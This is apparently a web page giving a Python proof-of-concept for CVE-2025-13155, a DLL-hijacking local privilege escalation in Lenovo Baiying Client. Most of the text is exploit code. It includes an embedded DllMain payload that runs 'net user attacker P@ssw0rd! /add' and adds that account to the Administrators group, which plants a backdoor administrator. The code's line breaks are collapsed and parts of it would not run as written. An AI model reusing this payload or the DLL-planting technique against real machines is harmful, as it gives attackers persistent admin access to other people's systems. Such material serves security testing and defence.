CVE-2025-13155 Lenovo Baiying Client本地权限提升漏洞

# CVE-2025-13155 PoC - Lenovo Baiying Client Local Privilege Escalation # This PoC demonstrates the exploitation technique (for authorized testing only) import os import sys import ctypes import shutil from pathlib import Path def check_vulnerability(): """Check if Lenovo Baiying Client is installed and vulnerable""" Baiying_paths = [ r"C:\Program Files\Lenovo\Baiying\bin\Baiying.exe", r"C:\Program Files (x86)\Lenovo\Baiying\bin\Baiying.exe", r"C:\Program Files\Lenovo\Baiying\Baiying.exe" ] for path in Baiying_paths: if os.path.exists(path): print(f"[+] Found Lenovo Baiying Client: {path}") # Check for weak permissions on service binary or config files return True print("[-] Lenovo Baiying Client not found") return False def exploit_dll_hijacking(): """Exploit DLL hijacking vulnerability""" # Target directory with weak permissions target_dir = r"C:\Program Files\Lenovo\Baiying\bin\" malicious_dll = os.path.join(target_dir, "LenovoDLL.dll") # Create malicious DLL payload malicious_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Spawn elevated command prompt system("cmd.exe /c whoami > C:\\\\temp_priv_esc.txt"); WinExec("cmd.exe /c net user attacker P@ssw0rd! /add", SW_HIDE); WinExec("cmd.exe /c net localgroup Administrators attacker /add", SW_HIDE); } return TRUE; } ''' print("[*] This is a demonstration of the attack vector") print("[*] In a real attack, a malicious DLL would be placed in the target directory") print("[*] When Baiying Client restarts, the DLL would be loaded with elevated privileges") return True def main(): print("=" * 60) print("CVE-2025-13155 - Lenovo Baiying Client LPE PoC") print("=" * 60) if not ctypes.windll.shell32.IsUserAnAdmin(): print("[*] Running as standard user") print("[*] Attempting to exploit privilege escalation...") if check_vulnerability(): exploit_dll_hijacking() print("[+] Exploitation attempt completed") else: print("[!] Running as administrator - PoC requires standard user context") if __name__ == "__main__": main()